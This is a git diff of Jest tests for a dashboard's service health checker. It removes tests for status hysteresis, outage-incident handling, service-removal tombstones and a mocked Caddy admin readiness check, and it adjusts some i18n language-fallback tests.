hc.recordStatus('svc1', makeDown()); // flips to red
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(2);
|
|
||||||
for (let i = 0; i < 10; i++) hc.recordStatus('svc1', makeDown());
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(2); // no further broadcasts
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DOWN_THRESHOLD env var is honored', () => {
|
|
||||||
process.env.HEALTH_DOWN_THRESHOLD = '3';
|
|
||||||
jest.resetModules();
|
|
||||||
const HC2Module = require('../src/monitoring/health-checker');
|
|
||||||
// Module is a singleton with DOWN_THRESHOLD captured at module load —
|
|
||||||
// resetModules gives us a fresh module-level instance with the new env.
|
|
||||||
const hc2 = HC2Module;
|
|
||||||
hc2.displayedStatus = new Map();
|
|
||||||
hc2.consecutiveSinceChange = new Map();
|
|
||||||
hc2.currentStatus = new Map();
|
|
||||||
hc2.history = {};
|
|
||||||
hc2.removeAllListeners('status-check');
|
|
||||||
const spy = jest.fn();
|
|
||||||
hc2.on('status-check', spy);
|
|
||||||
hc2.recordStatus('svc1', makeUp());
|
|
||||||
hc2.recordStatus('svc1', makeDown()); // 1
|
|
||||||
hc2.recordStatus('svc1', makeDown()); // 2 — still green (need 3)
|
|
||||||
expect(spy).toHaveBeenCalledTimes(1);
|
|
||||||
expect(hc2.displayedStatus.get('svc1').status).toBe('up');
|
|
||||||
hc2.recordStatus('svc1', makeDown()); // 3 — flip
|
|
||||||
expect(spy).toHaveBeenCalledTimes(2);
|
|
||||||
expect(hc2.displayedStatus.get('svc1').status).toBe('down');
|
|
||||||
});
|
|
||||||
|
|
||||||
test.each(['not-a-number', '0', '-2', '1.5'])('malformed DOWN_THRESHOLD %s falls back to 2', value => {
|
|
||||||
process.env.HEALTH_DOWN_THRESHOLD = value;
|
|
||||||
jest.resetModules();
|
|
||||||
const hc2 = require('../src/monitoring/health-checker');
|
|
||||||
hc2.displayedStatus = new Map();
|
|
||||||
hc2.consecutiveSinceChange = new Map();
|
|
||||||
hc2.currentStatus = new Map();
|
|
||||||
hc2.history = {};
|
|
||||||
hc2.removeAllListeners('status-check');
|
|
||||||
const spy = jest.fn();
|
|
||||||
hc2.on('status-check', spy);
|
|
||||||
hc2.recordStatus('svc1', makeUp());
|
|
||||||
hc2.recordStatus('svc1', makeDown());
|
|
||||||
expect(spy).toHaveBeenCalledTimes(1);
|
|
||||||
hc2.recordStatus('svc1', makeDown());
|
|
||||||
expect(spy).toHaveBeenCalledTimes(2);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('UP_THRESHOLD env var greater than 1 is honored', () => {
|
|
||||||
process.env.HEALTH_UP_THRESHOLD = '2';
|
|
||||||
jest.resetModules();
|
|
||||||
const hc2 = require('../src/monitoring/health-checker');
|
|
||||||
hc2.displayedStatus = new Map();
|
|
||||||
hc2.consecutiveSinceChange = new Map();
|
|
||||||
hc2.currentStatus = new Map();
|
|
||||||
hc2.history = {};
|
|
||||||
hc2.removeAllListeners('status-check');
|
|
||||||
const spy = jest.fn();
|
|
||||||
hc2.on('status-check', spy);
|
|
||||||
hc2.recordStatus('svc1', makeDown());
|
|
||||||
hc2.recordStatus('svc1', makeUp());
|
|
||||||
expect(spy).toHaveBeenCalledTimes(1);
|
|
||||||
expect(hc2.displayedStatus.get('svc1').status).toBe('down');
|
|
||||||
hc2.recordStatus('svc1', makeUp());
|
|
||||||
expect(spy).toHaveBeenCalledTimes(2);
|
|
||||||
expect(hc2.displayedStatus.get('svc1').status).toBe('up');
|
|
||||||
});
|
|
||||||
|
|
||||||
test.each(['not-a-number', '0', '-2', '1.5'])('malformed UP_THRESHOLD %s falls back to 1', value => {
|
|
||||||
process.env.HEALTH_UP_THRESHOLD = value;
|
|
||||||
jest.resetModules();
|
|
||||||
const hc2 = require('../src/monitoring/health-checker');
|
|
||||||
hc2.displayedStatus = new Map();
|
|
||||||
hc2.consecutiveSinceChange = new Map();
|
|
||||||
hc2.currentStatus = new Map();
|
|
||||||
hc2.history = {};
|
|
||||||
hc2.removeAllListeners('status-check');
|
|
||||||
const spy = jest.fn();
|
|
||||||
hc2.on('status-check', spy);
|
|
||||||
hc2.recordStatus('svc1', makeDown());
|
|
||||||
hc2.recordStatus('svc1', makeUp());
|
|
||||||
expect(spy).toHaveBeenCalledTimes(2);
|
|
||||||
expect(hc2.displayedStatus.get('svc1').status).toBe('up');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('removeService clears hysteresis state before the same ID is re-added', () => {
|
|
||||||
hc.config.services.svc1 = { name: 'Service 1' };
|
|
||||||
hc.recordStatus('svc1', makeUp());
|
|
||||||
hc.recordStatus('svc1', makeDown());
|
|
||||||
expect(hc.displayedStatus.has('svc1')).toBe(true);
|
|
||||||
expect(hc.consecutiveSinceChange.get('svc1')).toBe(1);
|
|
||||||
hc.consecutiveFailures.set('svc1', 3);
|
|
||||||
const timer = setTimeout(() => {}, 60_000);
|
|
||||||
hc.serviceTimers.set('svc1', timer);
|
|
||||||
|
|
||||||
hc.saveConfig = jest.fn();
|
|
||||||
hc.removeService('svc1');
|
|
||||||
|
|
||||||
expect(hc.displayedStatus.has('svc1')).toBe(false);
|
|
||||||
expect(hc.consecutiveSinceChange.has('svc1')).toBe(false);
|
|
||||||
expect(hc.currentStatus.has('svc1')).toBe(false);
|
|
||||||
expect(hc.consecutiveFailures.has('svc1')).toBe(false);
|
|
||||||
expect(hc.serviceTimers.has('svc1')).toBe(false);
|
|
||||||
|
|
||||||
hc.config.services.svc1 = { name: 'Service 1 re-added' };
|
|
||||||
const emitSpyAfterReAdd = jest.fn();
|
|
||||||
hc.on('status-check', emitSpyAfterReAdd);
|
|
||||||
hc.recordStatus('svc1', makeDown());
|
|
||||||
|
|
||||||
expect(emitSpyAfterReAdd).toHaveBeenCalledTimes(1);
|
|
||||||
expect(hc.displayedStatus.get('svc1').status).toBe('down');
|
|
||||||
expect(hc.consecutiveSinceChange.has('svc1')).toBe(false);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,186 +0,0 @@
|
|||||||
/**
|
|
||||||
* Tests for DC-090: outage incidents follow the DISPLAYED (post-hysteresis)
|
|
||||||
* status — the same signal that flips the dashboard badge.
|
|
||||||
*
|
|
||||||
* - A single raw "down" blip that hysteresis suppresses opens NO outage
|
|
||||||
* incident (the DC-089-noted raw-transition bug).
|
|
||||||
* - A suppressed blip does not resolve a real open outage (UP_THRESHOLD=2).
|
|
||||||
* - DOWN_THRESHOLD consecutive downs open exactly ONE outage incident.
|
|
||||||
* - The incident payload carries the displayed snapshot, not the raw probe.
|
|
||||||
* - Direct callers without hysteresis state keep legacy raw semantics.
|
|
||||||
*
|
|
||||||
* The probe() helper replicates checkService's exact call order: capture the
|
|
||||||
* pre-probe raw + displayed state, recordStatus (updates both maps), then
|
|
||||||
* checkForIncidents with both previous states.
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
// Use an isolated data dir so test history doesn't pollute the real one.
|
|
||||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'dashcaddy-incpar-'));
|
|
||||||
process.env.HEALTH_DATA_DIR = tmpDir;
|
|
||||||
process.env.HEALTH_CONFIG_FILE = path.join(tmpDir, 'health-config.json');
|
|
||||||
process.env.HEALTH_HISTORY_FILE = path.join(tmpDir, 'health-history.json');
|
|
||||||
|
|
||||||
// Module exports a singleton instance, not a class. Reset per-test state by
|
|
||||||
// replacing the relevant maps on the singleton in beforeEach.
|
|
||||||
const healthCheckerSingleton = require('../src/monitoring/health-checker');
|
|
||||||
const originalDownThreshold = process.env.HEALTH_DOWN_THRESHOLD;
|
|
||||||
const originalUpThreshold = process.env.HEALTH_UP_THRESHOLD;
|
|
||||||
|
|
||||||
function restoreEnv(name, value) {
|
|
||||||
if (value === undefined) delete process.env[name];
|
|
||||||
else process.env[name] = value;
|
|
||||||
}
|
|
||||||
|
|
||||||
function makeUp(serviceId = 'svc1') {
|
|
||||||
return {
|
|
||||||
serviceId,
|
|
||||||
timestamp: new Date().toISOString(),
|
|
||||||
status: 'up',
|
|
||||||
responseTime: 50,
|
|
||||||
statusCode: 200,
|
|
||||||
message: 'Service is healthy',
|
|
||||||
details: { headers: {}, bodyLength: 12 }
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function makeDown(serviceId = 'svc1') {
|
|
||||||
return {
|
|
||||||
serviceId,
|
|
||||||
timestamp: new Date().toISOString(),
|
|
||||||
status: 'down',
|
|
||||||
responseTime: 50,
|
|
||||||
statusCode: 500,
|
|
||||||
message: 'fail',
|
|
||||||
details: { headers: {}, bodyLength: 0 }
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-090: outage incidents follow the displayed (hysteresis) status', () => {
|
|
||||||
let hc;
|
|
||||||
let incidentCreatedSpy;
|
|
||||||
let incidentResolvedSpy;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
healthCheckerSingleton.displayedStatus = new Map();
|
|
||||||
healthCheckerSingleton.consecutiveSinceChange = new Map();
|
|
||||||
healthCheckerSingleton.currentStatus = new Map();
|
|
||||||
healthCheckerSingleton.history = {};
|
|
||||||
healthCheckerSingleton.incidents = [];
|
|
||||||
healthCheckerSingleton.removeAllListeners('incident-created');
|
|
||||||
healthCheckerSingleton.removeAllListeners('incident-resolved');
|
|
||||||
incidentCreatedSpy = jest.fn();
|
|
||||||
incidentResolvedSpy = jest.fn();
|
|
||||||
healthCheckerSingleton.on('incident-created', incidentCreatedSpy);
|
|
||||||
healthCheckerSingleton.on('incident-resolved', incidentResolvedSpy);
|
|
||||||
hc = healthCheckerSingleton;
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
restoreEnv('HEALTH_DOWN_THRESHOLD', originalDownThreshold);
|
|
||||||
restoreEnv('HEALTH_UP_THRESHOLD', originalUpThreshold);
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll(() => {
|
|
||||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
// Replicates checkService's record+incident sequence for one raw probe.
|
|
||||||
function probe(status, config = {}) {
|
|
||||||
const previousStatus = hc.currentStatus.get(status.serviceId);
|
|
||||||
const previousDisplayed = hc.displayedStatus.get(status.serviceId) || null;
|
|
||||||
hc.recordStatus(status.serviceId, status);
|
|
||||||
hc.checkForIncidents(status.serviceId, status, config, previousStatus, previousDisplayed);
|
|
||||||
}
|
|
||||||
|
|
||||||
test('a single down blip between two ups opens NO outage incident', () => {
|
|
||||||
probe(makeUp()); // baseline: displayed up
|
|
||||||
probe(makeDown()); // blip — hysteresis keeps displayed up
|
|
||||||
probe(makeUp()); // recovered
|
|
||||||
expect(hc.incidents).toHaveLength(0);
|
|
||||||
expect(incidentCreatedSpy).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DOWN_THRESHOLD consecutive downs open exactly one outage incident (critical)', () => {
|
|
||||||
probe(makeUp());
|
|
||||||
probe(makeDown()); // counter=1, displayed still up
|
|
||||||
probe(makeDown()); // counter=2 → displayed flips down → incident
|
|
||||||
expect(hc.incidents).toHaveLength(1);
|
|
||||||
const incident = hc.incidents[0];
|
|
||||||
expect(incident.type).toBe('outage');
|
|
||||||
expect(incident.severity).toBe('critical');
|
|
||||||
expect(incident.status).toBe('open');
|
|
||||||
expect(incidentCreatedSpy).toHaveBeenCalledTimes(1);
|
|
||||||
|
|
||||||
probe(makeDown()); // still down — no new transition, no second incident
|
|
||||||
expect(hc.incidents).toHaveLength(1);
|
|
||||||
expect(incident.occurrences).toBe(1); // occurrences count displayed flips, not raw probes
|
|
||||||
expect(incidentCreatedSpy).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('the outage incident payload carries the displayed snapshot, not the raw blip', () => {
|
|
||||||
probe(makeUp());
|
|
||||||
const blip = makeDown();
|
|
||||||
blip.statusCode = 599;
|
|
||||||
probe(blip); // suppressed blip — must not appear in any incident
|
|
||||||
probe(makeDown()); // flip
|
|
||||||
expect(hc.incidents).toHaveLength(1);
|
|
||||||
// The incident's details snapshot is the probe that FLIPPED the displayed
|
|
||||||
// state (the second down), not the earlier suppressed blip.
|
|
||||||
expect(hc.incidents[0].details.statusCode).not.toBe(599);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('a suppressed up blip does not resolve a real open outage (UP_THRESHOLD=2)', () => {
|
|
||||||
process.env.HEALTH_UP_THRESHOLD = '2';
|
|
||||||
jest.resetModules();
|
|
||||||
const hc2 = require('../src/monitoring/health-checker');
|
|
||||||
hc2.displayedStatus = new Map();
|
|
||||||
hc2.consecutiveSinceChange = new Map();
|
|
||||||
hc2.currentStatus = new Map();
|
|
||||||
hc2.history = {};
|
|
||||||
hc2.incidents = [];
|
|
||||||
hc2.removeAllListeners('incident-created');
|
|
||||||
hc2.removeAllListeners('incident-resolved');
|
|
||||||
|
|
||||||
const p2 = (status) => {
|
|
||||||
const prevRaw = hc2.currentStatus.get(status.serviceId);
|
|
||||||
const prevDisp = hc2.displayedStatus.get(status.serviceId) || null;
|
|
||||||
hc2.recordStatus(status.serviceId, status);
|
|
||||||
hc2.checkForIncidents(status.serviceId, status, {}, prevRaw, prevDisp);
|
|
||||||
};
|
|
||||||
|
|
||||||
p2(makeUp());
|
|
||||||
p2(makeDown());
|
|
||||||
p2(makeDown()); // displayed down → outage opens
|
|
||||||
expect(hc2.incidents).toHaveLength(1);
|
|
||||||
expect(hc2.incidents[0].status).toBe('open');
|
|
||||||
|
|
||||||
p2(makeUp()); // counter=1 < UP_THRESHOLD=2 → displayed still down
|
|
||||||
expect(hc2.displayedStatus.get('svc1').status).toBe('down');
|
|
||||||
expect(hc2.incidents[0].status).toBe('open'); // NOT resolved by the blip
|
|
||||||
|
|
||||||
p2(makeUp()); // counter=2 → displayed up → incident resolves
|
|
||||||
expect(hc2.displayedStatus.get('svc1').status).toBe('up');
|
|
||||||
expect(hc2.incidents[0].status).toBe('resolved');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('legacy direct callers (no displayed state) keep raw transition semantics', () => {
|
|
||||||
hc.currentStatus.set('svc1', { status: 'up' });
|
|
||||||
const status = { status: 'down', timestamp: new Date().toISOString(), responseTime: 100 };
|
|
||||||
hc.checkForIncidents('svc1', status, {}); // 4-arg call, no previousDisplayed
|
|
||||||
expect(hc.incidents).toHaveLength(1);
|
|
||||||
expect(hc.incidents[0].type).toBe('outage');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('slow-response detection still fires per-probe regardless of hysteresis', () => {
|
|
||||||
const slowUp = makeUp();
|
|
||||||
slowUp.responseTime = 6000;
|
|
||||||
probe(slowUp, { slowResponseThreshold: 5000 });
|
|
||||||
expect(hc.incidents.some(i => i.type === 'slow-response')).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -203,55 +203,6 @@ describe('HealthChecker', () => {
|
|||||||
expect(result.error).toBe('ECONNREFUSED');
|
expect(result.error).toBe('ECONNREFUSED');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('opens and resolves an outage incident across real checkService transitions', async () => {
|
|
||||||
// DC-090: incidents follow the DISPLAYED (post-hysteresis) status.
|
|
||||||
// DOWN_THRESHOLD defaults to 2, so it takes two consecutive failed
|
|
||||||
// probes to flip displayed down and open the outage; one up probe
|
|
||||||
// (UP_THRESHOLD=1) resolves it.
|
|
||||||
healthChecker._doRequest = jest.fn()
|
|
||||||
.mockResolvedValueOnce({ healthy: true, statusCode: 200, message: 'ok', details: {} })
|
|
||||||
.mockResolvedValueOnce({ healthy: false, statusCode: 500, message: 'down', details: {} })
|
|
||||||
.mockResolvedValueOnce({ healthy: false, statusCode: 500, message: 'down', details: {} })
|
|
||||||
.mockResolvedValueOnce({ healthy: true, statusCode: 200, message: 'ok', details: {} });
|
|
||||||
|
|
||||||
const config = { url: 'http://test.local' };
|
|
||||||
await healthChecker.checkService('svc1', config);
|
|
||||||
await healthChecker.checkService('svc1', config);
|
|
||||||
expect(healthChecker.incidents).toHaveLength(0); // one down alone: suppressed blip
|
|
||||||
|
|
||||||
await healthChecker.checkService('svc1', config); // second down flips displayed → open
|
|
||||||
expect(healthChecker.incidents).toHaveLength(1);
|
|
||||||
expect(healthChecker.incidents[0]).toMatchObject({
|
|
||||||
serviceId: 'svc1',
|
|
||||||
type: 'outage',
|
|
||||||
status: 'open'
|
|
||||||
});
|
|
||||||
|
|
||||||
await healthChecker.checkService('svc1', config); // up resolves
|
|
||||||
expect(healthChecker.incidents[0].status).toBe('resolved');
|
|
||||||
expect(healthChecker.incidents[0].resolvedAt).toBeDefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('does not resurrect state when an in-flight probe resolves after removal', async () => {
|
|
||||||
let resolveProbe;
|
|
||||||
healthChecker.config.services.svc1 = { url: 'http://test.local' };
|
|
||||||
healthChecker._doRequest = jest.fn(() => new Promise(resolve => {
|
|
||||||
resolveProbe = resolve;
|
|
||||||
}));
|
|
||||||
|
|
||||||
const pending = healthChecker.checkService('svc1', healthChecker.config.services.svc1);
|
|
||||||
healthChecker.saveConfig = jest.fn();
|
|
||||||
healthChecker.removeService('svc1');
|
|
||||||
resolveProbe({ healthy: true, statusCode: 200, message: 'late', details: {} });
|
|
||||||
await pending;
|
|
||||||
|
|
||||||
expect(healthChecker.currentStatus.has('svc1')).toBe(false);
|
|
||||||
expect(healthChecker.displayedStatus.has('svc1')).toBe(false);
|
|
||||||
expect(healthChecker.consecutiveFailures.has('svc1')).toBe(false);
|
|
||||||
expect(healthChecker.history.svc1).toBeUndefined();
|
|
||||||
expect(healthChecker.incidents).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('increments consecutive failures on error', async () => {
|
it('increments consecutive failures on error', async () => {
|
||||||
healthChecker._doRequest = jest.fn().mockRejectedValue(new Error('fail'));
|
healthChecker._doRequest = jest.fn().mockRejectedValue(new Error('fail'));
|
||||||
|
|
||||||
@@ -598,113 +549,6 @@ describe('HealthChecker', () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('DC-088: removeService generation tombstones + incident closure', () => {
|
|
||||||
it('does not leak a serviceGenerations entry and records a tombstone', () => {
|
|
||||||
healthChecker.configureService('svc1', { url: 'http://test.local' });
|
|
||||||
expect(healthChecker.serviceGenerations.has('svc1')).toBe(true);
|
|
||||||
|
|
||||||
healthChecker.removeService('svc1');
|
|
||||||
|
|
||||||
expect(healthChecker.serviceGenerations.has('svc1')).toBe(false);
|
|
||||||
const tomb = healthChecker.removedGenerations.get('svc1');
|
|
||||||
expect(tomb).toBeDefined();
|
|
||||||
expect(tomb.generation).toBeGreaterThan(0);
|
|
||||||
expect(tomb.removedAt).toBeGreaterThan(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('re-added service gets a strictly higher generation (no ABA)', () => {
|
|
||||||
healthChecker.configureService('svc1', { url: 'http://test.local' });
|
|
||||||
const gen1 = healthChecker.serviceGenerations.get('svc1');
|
|
||||||
|
|
||||||
healthChecker.removeService('svc1');
|
|
||||||
healthChecker.configureService('svc1', { url: 'http://test.local/v2' });
|
|
||||||
|
|
||||||
const gen2 = healthChecker.serviceGenerations.get('svc1');
|
|
||||||
expect(gen2).toBeGreaterThan(gen1);
|
|
||||||
expect(healthChecker.removedGenerations.has('svc1')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('closes open incidents for the removed service as resolved', () => {
|
|
||||||
healthChecker.saveConfig = jest.fn();
|
|
||||||
healthChecker.incidents.push({
|
|
||||||
id: 'incident-test-1',
|
|
||||||
serviceId: 'svc1',
|
|
||||||
type: 'outage',
|
|
||||||
status: 'open',
|
|
||||||
createdAt: new Date(Date.now() - 60_000).toISOString()
|
|
||||||
});
|
|
||||||
healthChecker.incidents.push({
|
|
||||||
id: 'incident-other',
|
|
||||||
serviceId: 'svc2',
|
|
||||||
type: 'outage',
|
|
||||||
status: 'open',
|
|
||||||
createdAt: new Date(Date.now() - 60_000).toISOString()
|
|
||||||
});
|
|
||||||
const resolvedSpy = jest.fn();
|
|
||||||
healthChecker.on('incident-resolved', resolvedSpy);
|
|
||||||
|
|
||||||
healthChecker.removeService('svc1');
|
|
||||||
|
|
||||||
const closed = healthChecker.incidents.find(i => i.id === 'incident-test-1');
|
|
||||||
expect(closed.status).toBe('resolved');
|
|
||||||
expect(closed.resolvedBy).toBe('service-removed');
|
|
||||||
expect(closed.resolvedAt).toBeDefined();
|
|
||||||
expect(closed.duration).toBeGreaterThan(0);
|
|
||||||
expect(healthChecker.incidents.find(i => i.id === 'incident-other').status).toBe('open');
|
|
||||||
expect(resolvedSpy).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('in-flight probe captured before removal is discarded via tombstone', async () => {
|
|
||||||
let resolveProbe;
|
|
||||||
healthChecker.config.services.svc1 = { url: 'http://test.local' };
|
|
||||||
healthChecker._doRequest = jest.fn(() => new Promise(resolve => {
|
|
||||||
resolveProbe = resolve;
|
|
||||||
}));
|
|
||||||
|
|
||||||
const pending = healthChecker.checkService('svc1', healthChecker.config.services.svc1);
|
|
||||||
healthChecker.saveConfig = jest.fn();
|
|
||||||
healthChecker.removeService('svc1');
|
|
||||||
resolveProbe({ healthy: true, statusCode: 200, message: 'late', details: {} });
|
|
||||||
await pending;
|
|
||||||
|
|
||||||
expect(healthChecker.currentStatus.has('svc1')).toBe(false);
|
|
||||||
expect(healthChecker.consecutiveFailures.has('svc1')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('a rejected in-flight probe after removal does not re-create failure state', async () => {
|
|
||||||
let rejectProbe;
|
|
||||||
healthChecker.config.services.svc1 = { url: 'http://test.local' };
|
|
||||||
healthChecker._doRequest = jest.fn(() => new Promise((resolve, reject) => {
|
|
||||||
rejectProbe = reject;
|
|
||||||
}));
|
|
||||||
|
|
||||||
const pending = healthChecker.checkService('svc1', healthChecker.config.services.svc1);
|
|
||||||
healthChecker.saveConfig = jest.fn();
|
|
||||||
healthChecker.removeService('svc1');
|
|
||||||
rejectProbe(new Error('late failure'));
|
|
||||||
await pending;
|
|
||||||
|
|
||||||
expect(healthChecker.consecutiveFailures.has('svc1')).toBe(false);
|
|
||||||
expect(healthChecker.currentStatus.has('svc1')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('sweeps expired tombstones in cleanupHistory', () => {
|
|
||||||
healthChecker.removedGenerations.set('svc1', {
|
|
||||||
generation: 1,
|
|
||||||
removedAt: Date.now() - 60 * 60 * 1000 // 1h ago, TTL default 10m
|
|
||||||
});
|
|
||||||
healthChecker.removedGenerations.set('svc2', {
|
|
||||||
generation: 2,
|
|
||||||
removedAt: Date.now() // fresh
|
|
||||||
});
|
|
||||||
|
|
||||||
healthChecker.cleanupHistory();
|
|
||||||
|
|
||||||
expect(healthChecker.removedGenerations.has('svc1')).toBe(false);
|
|
||||||
expect(healthChecker.removedGenerations.has('svc2')).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('cleanupHistory', () => {
|
describe('cleanupHistory', () => {
|
||||||
it('removes entries older than retention period', () => {
|
it('removes entries older than retention period', () => {
|
||||||
const old = new Date(Date.now() - 35 * 24 * 60 * 60 * 1000).toISOString(); // 35 days ago
|
const old = new Date(Date.now() - 35 * 24 * 60 * 60 * 1000).toISOString(); // 35 days ago
|
||||||
|
|||||||
@@ -26,19 +26,6 @@ jest.mock('dockerode', () => {
|
|||||||
function buildApp({ configOk = true, servicesOk = true, dockerOk = true, caddyOk = true } = {}) {
|
function buildApp({ configOk = true, servicesOk = true, dockerOk = true, caddyOk = true } = {}) {
|
||||||
process.env.MOCK_DOCKER_DOWN = dockerOk ? '0' : '1';
|
process.env.MOCK_DOCKER_DOWN = dockerOk ? '0' : '1';
|
||||||
|
|
||||||
// DC-087 — mirror src/app.js faithfully: the caddy check goes through
|
|
||||||
// fetchT (which injects the Origin header Caddy's enforce_origin allowlist
|
|
||||||
// requires), and is MOCKED so the suite is hermetic — no live request to a
|
|
||||||
// real Caddy admin on :2019. The previous raw-`fetch` mirror sent an
|
|
||||||
// Origin-less probe to the LIVE admin whenever the full suite ran on the
|
|
||||||
// prod host (adversarial cron every 30 min): 12 journal 403 lines per run,
|
|
||||||
// ~700/day of `client is not allowed to access from origin ''` noise,
|
|
||||||
// plus a false checks.caddy.ok=false in the mirrored readiness payload.
|
|
||||||
const fetchT = jest.spyOn(require('../src/utils/http'), 'fetchT')
|
|
||||||
.mockImplementation(async () => (caddyOk
|
|
||||||
? { ok: true, status: 200 }
|
|
||||||
: { ok: false, status: 403 }));
|
|
||||||
|
|
||||||
const app = express();
|
const app = express();
|
||||||
const config = {
|
const config = {
|
||||||
CONFIG_FILE: '/tmp/dc-test-config.json',
|
CONFIG_FILE: '/tmp/dc-test-config.json',
|
||||||
@@ -116,13 +103,9 @@ function buildApp({ configOk = true, servicesOk = true, dockerOk = true, caddyOk
|
|||||||
allOk = false;
|
allOk = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// DC-087 — mirror src/app.js exactly (fetchT, not raw fetch). fetchT is
|
|
||||||
// mocked at buildApp() scope, so this stays hermetic: no live probe to a
|
|
||||||
// real Caddy admin (the old raw-fetch mirror 403-spammed the prod journal
|
|
||||||
// every time the adversarial cron ran the full suite on this host).
|
|
||||||
try {
|
try {
|
||||||
const caddyUrl = config.CADDY_ADMIN_URL || 'http://localhost:2019';
|
const caddyUrl = config.CADDY_ADMIN_URL || 'http://localhost:2019';
|
||||||
const response = await fetchT(`${caddyUrl}/config/apps/http/servers/srv0/listen`, {}, 10000);
|
const response = await fetch(`${caddyUrl}/config/apps/http/servers/srv0/listen`, { signal: AbortSignal.timeout(10000) });
|
||||||
checks.caddy = { ok: response.ok, status: response.status };
|
checks.caddy = { ok: response.ok, status: response.status };
|
||||||
if (!response.ok) allOk = false;
|
if (!response.ok) allOk = false;
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
|||||||
@@ -33,18 +33,9 @@ jest.mock('dockerode', () => {
|
|||||||
|
|
||||||
// Mirror the canonical handler block from src/app.js — if this drifts from
|
// Mirror the canonical handler block from src/app.js — if this drifts from
|
||||||
// the real handler, these tests will start failing and force a sync.
|
// the real handler, these tests will start failing and force a sync.
|
||||||
function buildApp({ configOk = true, servicesOk = true, dockerOk = true, caddyOk = true } = {}) {
|
function buildApp({ configOk = true, servicesOk = true, dockerOk = true } = {}) {
|
||||||
process.env.MOCK_DOCKER_DOWN = dockerOk ? '0' : '1';
|
process.env.MOCK_DOCKER_DOWN = dockerOk ? '0' : '1';
|
||||||
|
|
||||||
// DC-087 — mirror src/app.js: caddy check via fetchT (Origin-injecting),
|
|
||||||
// mocked here so the suite is hermetic. The old raw-fetch mirror probed the
|
|
||||||
// LIVE Caddy admin on :2019 whenever the full suite ran on the prod host
|
|
||||||
// (adversarial cron): Origin-less → 403 → 12 journal error lines per run.
|
|
||||||
const fetchT = jest.spyOn(require('../src/utils/http'), 'fetchT')
|
|
||||||
.mockImplementation(async () => (caddyOk
|
|
||||||
? { ok: true, status: 200 }
|
|
||||||
: { ok: false, status: 403 }));
|
|
||||||
|
|
||||||
const app = express();
|
const app = express();
|
||||||
const config = {
|
const config = {
|
||||||
CONFIG_FILE: '/tmp/dc-test-config.json',
|
CONFIG_FILE: '/tmp/dc-test-config.json',
|
||||||
@@ -117,10 +108,8 @@ function buildApp({ configOk = true, servicesOk = true, dockerOk = true, caddyOk
|
|||||||
allOk = false;
|
allOk = false;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
// DC-087 — mirror src/app.js exactly: fetchT (mocked above), not raw
|
|
||||||
// fetch. Hermetic: no live request to a real Caddy admin.
|
|
||||||
const caddyUrl = config.CADDY_ADMIN_URL || 'http://localhost:2019';
|
const caddyUrl = config.CADDY_ADMIN_URL || 'http://localhost:2019';
|
||||||
const response = await fetchT(`${caddyUrl}/config/apps/http/servers/srv0/listen`, {}, 10000);
|
const response = await fetch(`${caddyUrl}/config/apps/http/servers/srv0/listen`, { signal: AbortSignal.timeout(10000) });
|
||||||
checks.caddy = { ok: response.ok, status: response.status };
|
checks.caddy = { ok: response.ok, status: response.status };
|
||||||
if (!response.ok) allOk = false;
|
if (!response.ok) allOk = false;
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ describe('DC-077: i18n system', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('falls back to English for unsupported language', () => {
|
it('falls back to English for unsupported language', () => {
|
||||||
expect(i18n.t('dashboard.title', 'xx')).toBe('Dashboard');
|
expect(i18n.t('dashboard.title', 'zh')).toBe('Dashboard');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('falls back to key if not found in any language', () => {
|
it('falls back to key if not found in any language', () => {
|
||||||
@@ -58,8 +58,8 @@ describe('DC-077: i18n system', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('returns false for unsupported languages', () => {
|
it('returns false for unsupported languages', () => {
|
||||||
expect(i18n.isSupported('xx')).toBe(false);
|
expect(i18n.isSupported('zh')).toBe(false);
|
||||||
expect(i18n.isSupported('klingon')).toBe(false);
|
expect(i18n.isSupported('ja')).toBe(false);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -81,61 +81,14 @@ describe('DC-077: i18n system', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('defaults to English for unsupported languages', () => {
|
